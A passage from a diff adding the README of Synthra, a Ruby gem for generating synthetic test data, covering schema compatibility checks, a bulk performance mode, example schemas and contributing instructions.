1322
+ result = registry.compatible?("User", "1.0.0", "2.0.0")
1323
+ if result[:breaking]
1324
+ puts "Breaking changes: #{result[:changes]}"
1325
+ end
1326
+
1327
+ # Validate current schema against contract
1328
+ registry.validate("User", version: "1.0.0", schema: current_schema)
1329
+ ```
1330
+
1331
+ ---
1332
+
1333
+ ## ⚡ Performance Mode
1334
+
1335
+ Generate **millions of records** with parallel processing:
1336
+
1337
+ ```bash
1338
+ # Generate 1 million records to file
1339
+ synthra perf User -d schemas/ -c 1000000 -o users.ndjson
1340
+
1341
+ # Different formats
1342
+ synthra perf User -d schemas/ -c 1000000 -f csv -o users.csv
1343
+ synthra perf User -d schemas/ -c 1000000 -f json -o users.json
1344
+
1345
+ # Benchmark performance
1346
+ synthra perf User -d schemas/ --benchmark
1347
+ ```
1348
+
1349
+ ### Ruby API
1350
+
1351
+ ```ruby
1352
+ # Generate with progress callback
1353
+ records = Synthra::PerformanceMode.generate(schema, count: 1_000_000) do |progress|
1354
+ puts "#{progress[:current]} / #{progress[:total]} (#{progress[:rate]} rec/s)"
1355
+ end
1356
+
1357
+ # Stream to file (memory efficient)
1358
+ Synthra::PerformanceMode.to_file(
1359
+ schema,
1360
+ count: 10_000_000,
1361
+ output: "users.ndjson",
1362
+ format: :ndjson
1363
+ ) do |progress|
1364
+ puts "ETA: #{progress[:eta]}s"
1365
+ end
1366
+
1367
+ # Benchmark
1368
+ results = Synthra::PerformanceMode.benchmark(schema, counts: [1000, 10_000, 100_000])
1369
+ # => { 1000 => { elapsed: 0.05, rate: 20000, memory_mb: 2.5 }, ... }
1370
+
1371
+ # System capabilities
1372
+ Synthra::PerformanceMode.system_info
1373
+ # => { cpu_cores: 8, optimal_threads: 7, native_available: true, ... }
1374
+ ```
1375
+
1376
+ ---
1377
+
1378
+ ## 📚 Examples
1379
+
1380
+ ### E-Commerce System
1381
+
1382
+ ```
1383
+ Product:
1384
+ id: uuid(unique: true)
1385
+ name: text(10..50)
1386
+ price: money(range: 9.99..999.99)
1387
+ category: enum(electronics, clothing, home)
1388
+ in_stock: boolean(true:85%)
1389
+
1390
+ Order:
1391
+ id: uuid(unique: true)
1392
+ customer_id: Ref(Customer.id)
1393
+ items: array(OrderItem, 1..5)
1394
+ total: custom(:calculate_total)
1395
+ status: enum(pending, shipped, delivered)
1396
+ ```
1397
+
1398
+ ### API Response Simulation
1399
+
1400
+ ```
1401
+ APIResponse:
1402
+ @latency 50..500ms
1403
+ @failure 2%
1404
+ @simulate_error 503 1%
1405
+
1406
+ success: boolean(true:95%)
1407
+ data: object
1408
+ timestamp: now
1409
+ ```
1410
+
1411
+ 📖 See [Examples Directory](tech_example/) for more:
1412
+ - [Basic Usage](tech_example/01_basic_usage.rb)
1413
+ - [All Types Demo](tech_example/02_types_demo.rb)
1414
+ - [Database Seeding](tech_example/05_database_seeding.rb)
1415
+ - [RSpec Integration](tech_example/07_rspec_integration.rb)
1416
+ - [Custom Types](tech_example/10_custom_types.rb)
1417
+ - [Behaviors](tech_example/12_behaviors.rb)
1418
+
1419
+ ---
1420
+
1421
+ ## 🤝 Contributing
1422
+
1423
+ We welcome contributions! Please see [CONTRIBUTING.md](CONTRIBUTING.md).
1424
+
1425
+ ```bash
1426
+ # Clone the repository
1427
+ git clone https://github.com/talaatmagdyx/synthra.git
1428
+ cd synthra
1429
+
1430
+ # Install dependencies
1431
+ bundle install
1432
+
1433
+ # Run tests
1434
+ bundle exec rspec
1435
+
1436
+ # Run linter
1437
+ bundle exec rubocop
1438
+ ```
1439
+
1440
+ ---
1441
+
1442
+ ## 📄 License
1443
+
1444
+ The gem is available as open source under the terms of the [MIT License](https://opensource.org/licenses/MIT).
1445
+
1446
+ ---
1447
+
1448
+ ## 🙏 Acknowledgments
1449
+
1450
+ - [Faker](https://github.com/faker-ruby/faker) - For the amazing fake data generators
1451
+ - [Zeitwerk](https://github.com/fxn/zeitwerk) - For elegant autoloading
1452
+ - The Ruby community for inspiration and feedback
1453
+
1454
+ ---
1455
+
1456
+ <p align="center">
1457
+ Made with ❤️ by the Synthra Team
1458
+ </p>